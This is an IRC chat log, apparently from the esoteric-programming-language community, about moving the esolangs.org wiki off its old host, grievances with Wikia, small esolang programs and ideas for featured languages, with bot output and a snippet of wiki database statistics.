13:21:16 <elliott> (that said, you can hardly blame people when getting a file on the file archive involves emailing somebody and waiting N days...)
13:27:53 <ais523> it's usual to use Talk-space subpages, rather than mainspace subpages, for that sort of thing
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13:35:18 <elliott> it's interesting that the wiki move seems to have shot activity up far past what it was even before the spam problem got bad
13:35:44 <elliott> even ignoring my actions, there's ~25 recent changes entries already today
13:37:35 <ais523> this happened on nethackwiki too
13:37:57 <ais523> although in that case, it was an extreme drop in the obnoxiousness levels of the server (especially if you had Flash turned on)
13:38:23 <elliott> I hope the activity sustains :)
13:39:45 <fizzie> Hey, have the Google rankings of nethackwiki.com finally risen above nethack.wikia.com? It used to be the case that (for me) even for a 'nethackwiki something' search it returned wikia results primarily, and I had to use '"nethackwiki" something' with the quotes to make it return the proper ones.
13:40:29 <ais523> fizzie: it's different for different people
13:40:36 <ais523> because Google's rankings aren't consistent between people
13:40:43 <ais523> nethackwiki's been higher on Google for me for ages
13:40:51 <ais523> but that might not be representative of elsewhere
13:40:51 <elliott> they should really figure out a way to trash the wikia :p
13:41:05 <ais523> elliott: we have, we're abandoning it and leaving it to gather spam and misinformation over time
13:41:12 <ais523> and there are a few tricks on the wikia version too
13:41:40 <elliott> ais523: well, every query I try always puts the wikia first
13:41:44 <ais523> Tjr used his admin rights there to get the new user welcome message to advertise nethackwiki, and wikia didn't spot it
13:41:47 <elliott> so it's evidently not effective enough trashing in Google's eyes
13:42:09 <ais523> (this is part of the reason we don't want to rile Wikia up, in case they do)
13:42:25 <elliott> spam doesn't seem likely, since Wikia will do spam-blocking network-wide
13:42:57 <elliott> misinformation is hard to spot when you're looking things up for obvious reasons, so I'm not sure it'll be effective in driving people away; esp. since it's Google's rankings that matter mostly
13:43:46 <ais523> it came up on RGRN recently
13:43:46 <ais523> (the spellbook read timings are wrong on Wikia)
13:44:13 <elliott> are you sure Wikia is actually monitoring it actively?
13:44:14 <ais523> does it still say (old site) in Google results pointing at Wikia NetHack?
13:44:28 <elliott> but it's impossible to find the new site from a random page, so it's not very helpful
13:44:52 <fizzie> Ooh, Google's Hertz-logo is animooooted.
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13:45:01 * elliott would just throw caution to the wind and add a sitenotice that links to the new URL for any given page
13:45:13 <ais523> that was there once, Wikia removed it
13:45:16 <ais523> too obvious, presumably
13:45:29 <elliott> how soon was that after they moved?
13:45:39 <elliott> if Wikia are still actively monitoring it, they have way too much time on their hands
13:45:50 <elliott> I feel compelled to point out that Wikia are really evil at this point
13:46:31 <fizzie> You can check out any time you like, but you can never leave.
13:46:45 <elliott> http://nethack.wikia.com/index.php?title=MediaWiki:Sitenotice&action=history
13:46:51 <elliott> ais523: well, there's no non-deleted revisions of any such sitenotice
13:46:57 <elliott> but perhaps they added it with some other mechanism
13:47:46 <ais523> elliott: IIRC the deal was that Tjr could do anything he wanted to advertise for two weeks, then they'd put it back to normal
13:47:53 <ais523> but they screwed up the putting it back to normal
13:48:50 <elliott> every time I think more about Wikia's policy of roping in people to "start your own wiki" (when it's actually "donate your wiki to us") and then aggressively keeping ownership of it against the owner's will, it just gets more and more blatantly evil
13:55:08 <elliott> @hoogle (a -> Bool) -> a -> Maybe a
13:55:08 <lambdabot> Data.List find :: (a -> Bool) -> [a] -> Maybe a
13:55:08 <lambdabot> Data.Foldable find :: Foldable t => (a -> Bool) -> t a -> Maybe a
13:55:08 <lambdabot> Control.Monad mfilter :: MonadPlus m => (a -> Bool) -> m a -> m a
13:55:17 <elliott> :t \p x -> guard (p x) >> return x
13:55:18 <lambdabot> forall (m :: * -> *) b. (MonadPlus m) => (b -> Bool) -> b -> m b
13:56:17 <fizzie> elliott: It's a shame you don't actually own esolangs.org; you could do the Most Evil Thing and secretly sell it to Wikia, like what I think sorta-happened with memory-alpha.org.
13:59:19 <elliott> fizzie: Well, I *want* to own it, so that I can set up IPv6 + email + such.
13:59:26 <elliott> And then sell it to Wikia.
13:59:35 <elliott> Also, I'm not familiar with that incident; details?
14:00:08 <fizzie> I'm not familiar-familiar with it either; http://en.memory-alpha.org/index.php?title=Forum%3AWikia_now_owns_memory-alpha.org&diff=935325&oldid=935131 might be relevant.
14:00:33 <fizzie> Of course you might not quite get "move to Bahamas" money with it; the battlestarwiki.org guy was offered $2500, according to http://blog.battlestarwiki.org/2008/01/27/battlestar-wiki-buy-out-not-gonna-happen/ -- and it's borderline possible there are more Battlestar Galactica fans than esolang fans.
14:00:57 <ais523> fizzie: gah, you forgot the useskin=monobook
14:01:00 <fizzie> (That latter was a link from the former.)
14:01:13 <elliott> I hope Wikia goes out of business.
14:01:34 <elliott> (...right after distributing standard XML dumps of all of their wikis...)
14:01:43 <fizzie> ais523: Whoever added that link to Wikipedia's Wikia article forgot it.
14:01:57 <elliott> ais523: it's about wikia being terrible; the skin adds to the experience
14:02:15 <ais523> but discussions about Wikia being terrible are often on Wikia, rather than somewhere sane
14:02:42 <ais523> btw, it seems that at least one regular RGRN poster has his browser settings locked down so far he doesn't even notice anything wrong with Wikia
14:02:44 <elliott> IIRC (this information from Sgeo), Wikia actually buy up domains for your wiki that don't exist yet to lock you in.
14:02:59 <ais523> that doesn't surprise me at all
14:03:02 <elliott> Or at least ISTR Sgeo saying that they bought creatureswiki.{net,org} or something without contacting them about it first.
14:03:09 <ais523> although nethackwiki found a reasonably good one
14:03:29 <ais523> (just two characters away from nethack.wikia)
14:03:29 <elliott> I believe that was shortly after they started complaining about the new skin and started talking about moving off Wikia.
14:04:15 <fizzie> ais523: I see all three of nethackwiki.{com,net,org} go to the same place. Very professional.
14:04:27 <elliott> they're a company, an ISP, *and* a non-profit!
14:04:33 <elliott> ais523: hey, do we (Esolang) have a privacy policy?
14:04:43 <ais523> fizzie: Tjr's been going crazy wrt Wikia and SEO
14:04:57 <ais523> he put a lot of effort into trying to get above Wikia in search results
14:05:00 <elliott> if not, what's the most amusing privacy policy you can think of?
14:05:15 <ais523> at one point, he even considered buying sponsored-links advertising for nethack search questions
14:06:10 <ais523> and, we should have a sane one
14:06:29 <ais523> or, hmm, "note that your IP address is logged by user:ehird, so if you don't trust him with knowing what it is, don't even view the site"?
14:06:48 <fizzie> I don't trust User:ehird knowing what an IP address is, no.
14:07:03 <fizzie> We should do our best to keep that knowledge from him.
14:07:29 <fizzie> It's a small step from knowing what an IP address is to blowing up power stations remotely.
14:08:49 <ais523> elliott: more evidence of Wikia being evil: http://nethackwiki.com/wiki/NetHackWiki:Community_Portal/Archive3#Google_Analytics
14:09:05 <ais523> although, perhaps I misinterpreted it
14:10:01 <ais523> I thought it meant that Wikia agreed to add Google Analytics, but not to tell the wiki contributors the results
14:10:23 <elliott> I think it means they agreed to it, but then went back on that
14:10:44 <elliott> and jayt inferred this is because they didn't want the contributors to see the stats
14:10:59 <elliott> oh, that's not what reticent means
14:11:09 <elliott> ais523: I think it means they agreed to it, but only grudgingly
14:11:22 <ais523> right, I conclude there isn't enough information there to know evil from nonevil
14:11:44 <fizzie> You should maybe eat some apples?
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14:12:36 <elliott> ais523: hey, "In constrast, foo is bar and baz" or "Foo, by constrast, is bar and baz", which is better?
14:13:02 <elliott> oh, it should be "by contrast", but anyway
14:13:15 <ais523> I think I prefer the latter
14:13:29 <elliott> meh, /me just misuses "on the other hand" for the purpose
14:14:29 <elliott> hmm, what the esoteric file archive needs is a wiki interface to it, or something
14:15:58 <elliott> <ais523> or, hmm, "note that your IP address is logged by user:ehird, so if you don't trust him with knowing what it is, don't even view the site"?
14:16:27 <elliott> ais523: "If you do not want ehird to see your IP address, please retroactively unload this page. (You may find [[Feather]] to be helpful for this task.)"
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14:17:01 <ais523> but feather can't retroactively do I/O
14:17:18 <ais523> it'd only work if your server were written in Feather, and let arbitrary people do arbitrary retroactive unviews
14:17:19 <fizzie> I don't think you can use "Feather" and "can't" in the same sentence like that.
14:17:44 <elliott> ais523: I'll retroactively rewrite the server in Feather some day
14:18:05 <HackEgo> 2011-12-22.txt:07:05:16: <ais523> oerjan: that looks like a Feather operator, but I can't decode it
14:18:20 <HackEgo> 2011-01-28.txt:23:37:31: <ais523> elliott: even Feather can't do that
14:18:24 <ais523> that only works if its current impl is capable of being retroactively modified, right?
14:18:34 <elliott> ais523: A serial offender, it looks like.
14:18:53 <elliott> ais523: I'll retroactively make the implementation capable of being retroactively modified.
14:19:06 <ais523> causality doesn't work like that!
14:19:17 <elliott> Yes, to pre-empt your question, I will retroactively cause the Universe to have been programmed in Feather, making this all possible.
14:19:30 <elliott> ais523: That's what they told Feather.
14:20:28 <ais523> this reminds me of the discussion I had at secondary school, about whether it was possible to have something so omnipotent it could have an effect on the universe despite not existing
14:21:25 <elliott> Like whoaaaaaaaa maaaaaaaan.
14:22:46 <elliott> ais523: You have, like, ten seconds to convince me not to install Wikia's skin on Esolang.
14:22:56 <ais523> elliott: don't be an idiot
14:23:01 <ais523> at least, don't make it the default
14:23:06 <ais523> besides, it wouldn't work properly
14:23:14 <ais523> because of that crazy Wikia-centered sidebar and footer
14:23:22 <ais523> also, it'd make half, or probably more, of the articles unreadable
14:23:27 <ais523> also, I'm not even convinced it's open source
14:23:35 <elliott> ais523: all i'm hearing is ways to make the wiki more esoteric
14:23:44 <ais523> but the wiki is meant to be useful
14:24:31 * ais523 seriously hopes that elliott is joking
14:24:53 <elliott> ais523: by the way, you have to come up with a better subtitle
14:25:08 <elliott> so far the winning suggestion is "Irrelevant" which is only 50% better than the current one
14:25:37 <ais523> and where is it displayed
14:25:46 <ais523> and why can't we use "enjoy being locked in your matrix of solidity"?
14:26:10 <elliott> http://esolangs.org/wiki/MediaWiki:Sitesubtitle, and only in some skins
14:26:14 <elliott> and the printable version of pages, I think
14:26:36 <ais523> I know NetHackWiki's is "NetHackWiki, the NetHack wiki", but that was a blatant SEO attempt
14:26:47 <elliott> I think Cologne Blue might be the only thing it displays in, actually
14:26:50 <ais523> because Google was having trouble figuring out what the site was about
14:27:06 <elliott> the matrix of solidity thing is already in the hostname and on the main page, I don't think it needs to proliferate any further
14:27:24 <elliott> maybe "Have a nice kaksikymmentäneljätuntiaikakausitämänhetkinen!" :D
14:30:21 <ais523> should probably just be a mention of what the site is about
14:30:29 <ais523> ("no, not <i>that</i> meaning of esoteric")
14:31:01 <elliott> how about "Stop using Cologne Blue"
14:32:33 <ais523> elliott: that'd be out of place on the printable versino
14:33:23 <ais523> where did WoWwiki end up moving to, anyway?
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14:33:54 <elliott> ais523: I checked, the printable version doesn't have it
14:34:03 <elliott> http://www.wowwiki.com/Portal:Main still wikia
14:34:07 <ais523> ah, must be wowpedia.org, which is only the third-highest WoW-related wiki in the DDG results
14:34:14 <ais523> (the other two are both Wikia under different domain names)
14:34:25 <elliott> "In 2010, the administrators (unhappy with Wikia management) started an independent fork known as Wowpedia."
14:34:41 <elliott> "On December 4, 2010, Blizzard Entertainment began to incorporate links to Wowpedia, as well as the database site Wowhead, into the new version of its World of Warcraft Community Site.[16]"
14:35:01 <elliott> ais523: hmm, wowpedia uses [[Portal:Main]] as their main page
14:35:12 <elliott> so does wowwiki.com for that matter
14:35:39 <ais523> I was the main proponent of Portal:Main on Wikipedia
14:35:44 <ais523> although it obviously never happened
14:35:55 <ais523> too many people scared about whether it would actually work or not
14:36:42 <elliott> hmm, I should probably just remove the privacy policy link from the footer
14:36:48 <elliott> annoying to have broken links in the standard chrome
14:38:22 <ais523> and that split is interesting, wowpedia seems to have slightly more edits than wowwiki, but not by much
14:43:47 <elliott> /// is such a lovely language
14:45:57 <Ngevd> Wow, that works now
14:46:17 <Ngevd> Typing "///" in the esolang's search bar
14:46:38 <elliott> ah, yes, I made sure the new server can handle odd titles like that
14:49:24 <elliott> Ngevd: Hey, your HOMEPAGE links to the OLD WIKI.
14:49:42 * elliott has taken it upon himself to view every page of the wiki, or something.
14:50:28 <Ngevd> I'll make a note to fix it once I've got the Luigi edit ready
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14:53:56 <elliott> ais523: ooh, hey, I can grant this permission: "allows hiding the user/IP from the block log, active block list, and user list when blocking. (not available by default)"
14:54:10 <elliott> we could use that to clean up the user list incrementally, as accounts get reused
14:54:32 <ais523> that seems like a good permission to grant to admins, indeed
14:54:35 <elliott> (and then delete the accounts outright based on their hidden status later, if it seems worthwhile)
14:54:47 <elliott> hmm, I'm not too happy about hiding from the block list
14:54:54 <elliott> but the user list part is desirable
14:55:25 <ais523> is there a list of hidden users anywhere public?
14:59:16 <elliott> ais523: hey, what do you call things like Ook!, brainfuck ciphers or brainfuck substitutions or...?
14:59:27 <ais523> brainfuck equivalents is the usual term, right?
14:59:34 <ais523> although IIRC Ook! has a couple more commands than BF does
15:00:21 <Ngevd> It has space for one more, but that is undefined
15:00:22 <elliott> ais523: well, languages can be brainfuck-equivalent without being ciphers, I would say
15:00:33 <elliott> e.g. http://esolangs.org/wiki/BF-RLE
15:01:06 <Ngevd> Yeah, Ook? Ook? isn't defined
15:01:08 <ais523> oh, it's Cow that adds the extras
15:01:12 <elliott> what's a snappy term for these:
15:01:13 <elliott> *Languages which make it easy to write programs used as typical examples for new languages:
15:01:13 <elliott> ** [[99]], [[CHIQRSX9+]], [[Hello]], [[Hello++]], [[HQ9+]], [[HQ9++]] and [[Huby]],
15:03:23 <Ngevd> Which I was sure existed, but I can find no evidence for
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15:21:25 <elliott> TODO: http://esolangs.org/w/index.php?title=Special:LinkSearch&target=http%3A%2F%2F%2A.wikipedia.org&namespace=0&limit=500&offset=0
15:23:40 <elliott> ais523: If someone claims to prefer the Wikia layout to Monobook, is that evidence that they're not actually human?
15:29:31 <elliott> hmm, there has to be a bot that can convert external links to interwikis
15:30:27 <Ngevd> MIBBLLII's simplest (to my knowledge) equivalent to iota's i combinator is a valid brainfuck program that prints the null character
15:31:37 <Ngevd> It tests if the current cell is zero. If it is, it sees how far down the cell can go. Otherwise, it prints chr 0
15:34:44 <elliott> By the way, Ørjan: Are you the same Ørjan who sometimes came to the Hexagon gaming club in Trondheim? (I noticed that your home page is on NVG) --Rune 14:12, 16 May 2006 (UTC)
15:34:53 <elliott> Is this... concrete evidence that oerjan actually exists?!
15:37:12 <Gregor> No, only that there exists a real person with the name Ørjan.
15:38:13 <ais523> elliott: well, Wikia prefer the Wikia layout to Monobook
15:40:24 <Ngevd> Wikia is an entity, rather than a person.
15:40:32 <Ngevd> This adds evidence to elliott's hypothesis
15:40:40 <ais523> but some person at Wikia must have decided that
15:43:51 <elliott> Gregor: But he CONFIRMED it!!!!!!
15:44:50 <ais523> if oerjan were nonexistent, he could have been lying
15:45:16 <ais523> hmm, Adobe have decided to make Flash on Linux run only in Chrome
15:47:15 <ais523> apparently they have a partnership with Google now, or something
15:47:28 <Deewiant> http://blogs.adobe.com/flashplayer/2012/02/adobe-and-google-partnering-for-flash-player-on-linux.html
15:47:29 <ais523> and are changing Flash to use a Chrome-specific API
15:47:46 <elliott> if you mean the pepper thing, that's not chrome-specific
15:47:56 <elliott> chrome is just the only existing implementation, but IIRC it's a completely public standard
15:48:06 <ais523> because the rival browsers aren't planning to implement it
15:48:19 <ais523> For Flash Player releases after 11.2, the Flash Player browser plugin for Linux will only be available via the “Pepper” API as part of the Google Chrome browser distribution and will no longer be available as a direct download from Adobe.
15:48:22 <elliott> I'm sure a Netscape plugin API <-> Pepper bridge will pop up in the next five seconds.
15:48:29 <ais523> oh, seems they're planning to distribute it only bundled with Chrome, too
15:48:30 <elliott> No need for Mozilla to do anything.
15:49:05 <ais523> although they're planning to security-fix the previous version for five years
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16:05:34 <elliott> 62.143.96.18 - - [22/Feb/2012:15:38:40 +0000] "GET /wiki/User:6HeilPraktiker9 HTTP/1.1" 404 15054 "-" "-"
16:05:34 <elliott> 62.143.96.18 - - [22/Feb/2012:15:38:40 +0000] "GET /w/index.php?title=User:4HeilPraktiker8&action=submit HTTP/1.1" 200 17213 "-" "-"
16:05:43 <elliott> Think you're smart, do you?!
16:06:08 <elliott> Odd that it didn't send a user-agent that time.
16:06:37 <elliott> ais523: btw, does your atom feed URL use the lowercase c in Recentchanges?
16:06:42 <elliott> it should be RecentChanges; right now you're getting redirected every time
16:06:48 <elliott> (ofc, it could be someone else)
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16:22:50 <elliott> <elliott> ais523: btw, does your atom feed URL use the lowercase c in Recentchanges?
16:22:50 <elliott> <elliott> it should be RecentChanges; right now you're getting redirected every time
16:22:50 <elliott> <elliott> (ofc, it could be someone else)
16:23:03 <elliott> also, ooh, more detail on http://esolangs.org/wiki/Clue_(Keymaker)
16:23:26 <ais523> should I fix it to avoid putting stupid load on you? or is it negligible?
16:23:30 <ais523> hell, I'll change it anyway
16:24:30 <ais523> now none of the pages are coming up in my feed reader, on that specific feed
16:24:43 <ais523> the entries themselves are, but they're all blank
16:25:11 <elliott> try resubscribing frmo the recent changes page
16:25:26 <elliott> the load is neglenglegegilble, considering that spambots are loading pages like every five seconds anyway
16:25:47 <ais523> oh, now the original feed started working again when I did that
16:26:03 <ais523> then when I deleted the duplicate, the original feed stopped working again
16:26:08 <ais523> does this or doesn't this make any sense?
16:26:36 <elliott> also, grr, I'm no good at ///
16:26:39 <mRoman> Are programms allowed to crash due to stack-overflow for a truth-machine :D?
16:26:47 <mRoman> That would make mine a bit shorter.
16:26:58 <elliott> mRoman: most languages don't have specified stack limits
16:27:03 <elliott> so any such overflow is an implementation limitation
16:27:05 <ais523> oh well, I just deleted the other one, and am using the original
16:27:10 <mRoman> Now I'm using "until false" because that does not cause stack overflows :)
16:27:14 <elliott> just like implementations of turing-complete languages can't usually use unbounded storage
16:27:25 <elliott> so if your language doesn't specify a limited stack, it should be fine
16:27:43 <ais523> mRoman: and "while true" does?
16:28:08 <ais523> elliott: what if your language implies a limited stack?
16:28:18 <elliott> ais523: then it specifies one, surely?
16:28:21 <ais523> e.g. C, where you can take addresses of things on the stack, and also calculate the number of bits in an address
16:28:58 <ais523> hmm, really crazy idea: in C, do pointers of the same type that are bit-for-bit identical necessarily have to point to the same place?
16:30:03 <mRoman> any while loop can be written as an until loop I think.
16:31:00 <ais523> right, you just negate the condition
16:31:31 <ais523> I suppose it must be, it seems unlikely to be implemented in hardcoded Funge, and it can't be done in Underload
16:32:19 <ais523> that was obvious, wasn't it?
16:32:24 <ais523> '0'-'9' are contiguous and in order
16:32:35 <ais523> in every remotely commonly used character set
16:32:44 * elliott writes his first FALSE program
16:32:44 <ais523> even C assumes that, even though it assumes hardly anything else about character sets
16:35:27 <elliott> @tell oerjan i tried to write a truth-machine in itflabtijtslwi but failed :(
16:36:14 <ais523> /// is a really amazing language, actually
16:36:20 <ais523> it's one of those truly innovative esolangs
16:37:29 <ais523> anyway, a whole bunch of esolang ideas are converging, and it's kind-of worrying
16:37:34 <ais523> basically, Anarchy, but pure and total
16:37:41 <ais523> I think this language would be awesome
16:37:42 <elliott> anyone who thinks that /// and Underload aren't the best esolangs is super dumb
16:39:30 <elliott> we should have a featured esolang, or something
16:39:38 <elliott> since most of them are so terrible
16:40:16 <Gregor> I think the discussion that we last had about that possibility is what led to the "day of the day" box.
16:40:20 <ais523> I like the concept of featured articles
16:40:43 <ais523> and we'd all cooperate on forwarding the selected language during that month
16:40:44 <Ngevd> [$1.!]$^?0. <-- truth machine in FALSE?
16:40:54 <elliott> ais523: right; featuring the article itself is pointless, though, since Esolang's prose basically ranges from "what you'd expect" to "awful unformatted crap" with nothing in-between
16:41:07 <elliott> so it'd be the esolang itself being featured
16:41:12 <elliott> although, ofc, an article of the former quality would be required
16:41:16 <ais523> but if the article isn't up to scratch, we go fix it
16:41:29 <Gregor> ais523: At first that would be fine, but interesting languages are not produced at that rate, so after a year or so we'd be scraping I think.
16:41:48 <ais523> in emergencies, we could repeat
16:41:51 <elliott> Gregor: I could easily drum up a list of 20 Esolangs immediately worth featuring.
16:41:58 <ais523> but hey, we'd be better off for a few years
16:42:01 <Gregor> elliott: OK, in /two/ years or so ^^
16:42:07 <Gregor> Two years it two years.
16:42:17 <elliott> Gregor: Well, we'd just have to create better esolangs faster ;)
16:42:31 <elliott> In case of droughts we could always just feature non-esolangs.
16:42:43 <elliott> Although there aren't many of those pages on the wiki.
16:42:56 -!- Taneb has joined.
16:43:10 <Jafet> You can feature languages which would be esoteric if not for the fact that people actually use them
16:43:10 <elliott> I doubt it would inspire any hugely devoted effort to work on the languages, though.
16:43:15 <elliott> People aren't that committed to the wiki.
16:43:15 <Gregor> Our first feature: COBOL
16:43:53 -!- Ngevd has quit (Read error: Connection reset by peer).
16:43:55 <ais523> elliott: no, although I imagine we have more readers than writers
16:44:07 <ais523> and it'd help newbies to find languages other than BF that weren't pointless BF derivatives
16:44:33 <Gregor> We'd also have to be careful to avoid making the wiki celebrate Cat's Eye Technologies Year
16:44:41 <elliott> Gregor: I don't see the problem???
16:44:58 <mRoman> Is there yet an esolang featuring digital electronucs?
16:45:12 <ais523> mRoman: WireWorld? any of the NAND-based ones?
16:45:34 <Gregor> I'm waiting to figure out what "electronucs" means.
16:46:17 <elliott> I suspect the main problem with featured esolangs would be deciding on them
16:46:43 <ais523> you come up with a list arbitrarily, I give good advice, Gregor gives bad advice
16:46:43 <elliott> I suppose the simplest thing would be to have admins propose them and have a quick informal IRC vote to confirm them.
16:46:53 <Gregor> I think we just need a small council to select a list, then have an open vote amongst them.
16:47:21 <ais523> do we allow people to nominate their own esolangs? on the one hand, they're familiar with them, on the other hand, they're likely to be biased
16:47:34 <elliott> Gregor: That's already 10x more bear-ocracy than anyone will bother to submit to ever.
16:48:00 <elliott> See every previous esolang collaborative project in history.
16:48:45 <ais523> hey, the project that shall not be abbreviated as ABCDEF got halfway through before stopping
16:49:50 <mRoman> http://codepad.org/xvT07d7U <- something like that.
16:50:27 <Gregor> Ah, based on digital /circuits/.
16:50:32 <elliott> Taneb: Did you just optimise my program? :(
16:50:41 <elliott> mRoman: wireworld applies, then
16:50:45 -!- Jafet has quit (Ping timeout: 240 seconds).
16:50:48 <Gregor> Wireworld, Circute, ...
16:50:58 <Taneb> elliott, I never saw your program
16:51:41 <elliott> Taneb: That's a truth-machine in FALSE, right?
16:52:01 <Taneb> Inspired by your description on how you were about to make one
16:52:03 <mRoman> Is there an esolang based on analog signals?
16:52:16 <elliott> Taneb: You can replace the one on the wiki with it, it's nicer-looking.
16:52:27 <Taneb> I need to test it first
16:52:46 <Gregor> elliott: Is it possible to get a list of the most-viewed pages?
16:53:07 <elliott> Gregor: On the previous site, yes. On the new site, no, caching disables all page statistics features. However, I can get you the values with a little bit of work.
16:53:13 <elliott> (from before the server move)
16:53:26 <elliott> I plan to use analyse the logs to produce periodic counts of the most popular articles.
16:53:26 -!- Jafet has joined.
16:53:30 <elliott> But that'll be a manual thing.
16:53:52 <mRoman> http://codepad.org/ubs1uGQi <- which would somewhat look like this.
16:54:04 <Gregor> elliott: I'm just wondering if those statistics are actually interesting, and not, y'know, ook and lolcode ...
16:54:27 <elliott> Gregor: brainfuck, befunge and malbolge are the top few esolangs IIRC
16:54:40 <elliott> There's http://web.archive.org/web/20060508040217/http://esolangs.org/wiki/Special:Popularpages but it's from 2006 so it's very out of date.
16:54:54 <Gregor> Yeah, but I suppose the truly interesting classics probably never make it to the top ...
16:55:04 <elliott> Gregor: Oh, it was better than LOLcode.
16:55:45 <Gregor> I was thinking about whether featuredness could be a bit less human (and so less bureaucratic). Have the wiki choose five randomly with a heavy bias of some kind (top may not be the right bias), then have an open vote amongst them.
16:56:08 <Gregor> Probably won't actually work though, because the whole point is that some of them deserve featuredness in spite of nobody remembering them :(
16:56:11 <elliott> Ugh, please tell me the dump actually includes this >_>
16:56:28 <ais523> Gregor: clearly, we start off by flagging every page as "potentially featurable"
16:56:50 <Gregor> Who has that privilege?
16:56:53 <ais523> then whenever a new language is created, or just when we feel like it, we pick five potentially featurable languages at random, and decide on one to deflag as potentially featurable
16:56:57 <elliott> ais523: hey, I don't suppose you have a backup of [[Special:Popularpages]]?
16:57:21 <HackEgo> 718) <CakeProphet> but yeah the caliphates expanded their empire by conquering people and then forcing them to either convert to Islam or die. [...] <oerjan> i thought it was sort of, convert to islam or pay extra taxes, but i guess it varied a lot.
16:57:29 <HackEgo> 764) <fizzie> The mutable-integer Linux.
16:57:31 <HackEgo> 490) <NihilistDandy> Non sequitur is my forte <NihilistDandy> On-topic discussion is my piano <Taneb> Bowls of sugary breakfast cereal is my mezzoforte <Taneb> Full fat milk is my pianissimo <Taneb> On which note, I'm hungry
16:57:36 <HackEgo> 646) <olsner> I think stealing is more appropriate
16:57:38 <HackEgo> 515) <fungot> fizzie: i, myself, will bring an end to all.
16:57:40 <Gregor> ais523: Too many "we"'s there ...
16:57:53 <ais523> Gregor: it wasn't intended as a serious suggestion
16:58:01 <ais523> hmm, I like the first and last ones best there
16:58:32 <elliott> 764 isn't funny out of context
16:58:59 <ais523> and 764 is more potentially funny
16:59:02 -!- Taneb has quit (Read error: Connection reset by peer).
16:59:04 <HackEgo> *poof* <fizzie> The mutable-integer Linux.
16:59:08 <ais523> you just deleted two of them
16:59:16 <HackEgo> *poof* <olsner> I think stealing is more appropriate
16:59:21 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
16:59:23 <elliott> now to watch the inevitable hg conflict
16:59:41 <HackEgo> *poof* <oerjan> i am sorry to disappoint you, but my musical taste is on the side abba, verdi, and celine dion. i know this may not be popular and that you would have preferred me to be a satanist.
16:59:53 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: fuck: not found
17:00:12 <HackEgo> *poof* <olsner> I think stealing is more appropriate
17:00:18 <HackEgo> 763) <fizzie> The mutable-integer Linux.
17:00:24 <HackEgo> 763) <fizzie> The mutable-integer Linux.
17:00:32 <HackEgo> 763) <fizzie> The mutable-integer Linux.
17:00:33 <HackEgo> *poof* <fizzie> The mutable-integer Linux.
17:00:34 <HackEgo> 763) <fizzie> The mutable-integer Linux.
17:00:41 <ais523> let's see if I can get a truth machine working first time in INTERCAL
17:00:47 <ais523> I'll write it in the channel without testing it
17:00:50 <ais523> and then run it, to see what happens
17:01:19 <ais523> let's see, it takes input (which will be 0 or 1), then outputs it once on 0 and infinitely often on 1
17:01:48 <ais523> DO WRITE IN .1 DO COME FROM .1 (1) DO READ OUT .1 PLEASE GIVE UP
17:01:51 <elliott> grr, Google doesn't have popularpages cached
17:02:41 <ais523> don't bing and altavista both use the same index nowadays?
17:02:46 <Gregor> Surely the old server is still up, just not assigned to the right hostname?
17:02:50 <elliott> wow, they've actually redesigned HotBot
17:02:59 <elliott> Gregor: http://esoteric.voxelperfect.net/ is up, but http://esoteric.voxelperfect.net/wiki/ is a redirect to esolangs.org/wiki
17:03:05 <ais523> $ echo 'DO WRITE IN .1 DO COME FROM .1 (1) DO READ OUT .1 PLEASE GIVE UP' | ick -y tty.i
17:03:06 <ais523> The program 'ick' is currently not installed. You can install it by typing:
17:03:10 <ais523> hmm, I don't think it's meant to do that
17:03:11 <elliott> I suspect Graue's deleted the files/database
17:03:21 -!- Ngevd has joined.
17:03:32 -!- Jafet has left.
17:03:47 <Gregor> HotBot: The lame and now not even nostalgic interface to the even more lame Lycos.
17:03:51 <elliott> "The value of $wgHitcounterUpdateFreq is then fed into a randomizer, which then updates the page_counter fields of the stored pages when the random number is equal to a particular value."
17:04:14 <elliott> Gregor: OK, I can produce a list of popular pages
17:04:16 -!- Jafet has joined.
17:04:24 <elliott> Gregor: do you have mysql installed?
17:04:27 <ais523> elliott: can't you produce one from the HTTP log?
17:04:31 <elliott> I really don't want to import this database myself...
17:04:39 <elliott> ais523: yes, if you want wildly inaccurate statistics, rather than 7 years of them
17:04:44 <ais523> oh, right, tty.i corresponds to the terminal
17:05:29 <ais523> hmm, gcc is spouting warnings
17:05:31 <ais523> I wonder what I've done wrong
17:05:43 <ais523> looks like autoconf.h is included twice
17:05:46 <elliott> Gregor: INSERT DELAYED INTO `mw_page` (`page_id`, `page_namespace`, `page_title`, `page_restrictions`, `page_counter`, `page_is_redirect`, `page_is_new`, `page_random`, `page_touched`, `page_latest`, `page_len`) VALUES (1,0,'Main_Page','',326802,0,0,0.28651027221839,'20120217091843',30117,2750),(5,8,'Monobook.js','sysop',335,0,0,0.197277670909909,'20070307173606',6847,3456),(138,8,'Currentevents','sysop',1472,0,0,0.525640084897764,'2010112407563
17:05:46 <elliott> 8',6980,13),(139,8,'Currentevents-url','sysop',1361,0,0,0.785110448286972,'20101124075619',6981,13),(696,8,'Sitesubtitle','sysop',507,0,0,0.365130377342115,'20070307173606',7538,16),(930,4,'Copyrights','edit=sysop:move=sysop',13015,0,0,0.135369432617,'20080222215606',11219,993),(932,10,'CompactTOC4','',811,0,1,0.387740738792,'20070307182825',7771,433),(933,10,'CompactTOC2','',785,0,1,0.159088183167,'20070307182825',7772,331),(960,0,'Language_list
17:05:46 <elliott> ','',354189,0,0,0.077168495063,'20120217091503',30115,11937),(961,0,'Brainfuck','',221566,0,0,0.114796326371,'20120216064007',29960,25003),(962,0,'Brainfork','',17362,0,0,0.082227920981,'20111205122553',23594,1929),(963,0,'Wierd','',19611,0,0,0.430107527622,'20110403214059',21696,2994),(964,0,'PATH','',13212,0,0,0.254976121008,'20110417190036',16910,2729),(965,0,'SNUSP','',15399,0,0,0.060558338388,'20111114190620',25201,10941),(966,0,'Smallfuck',
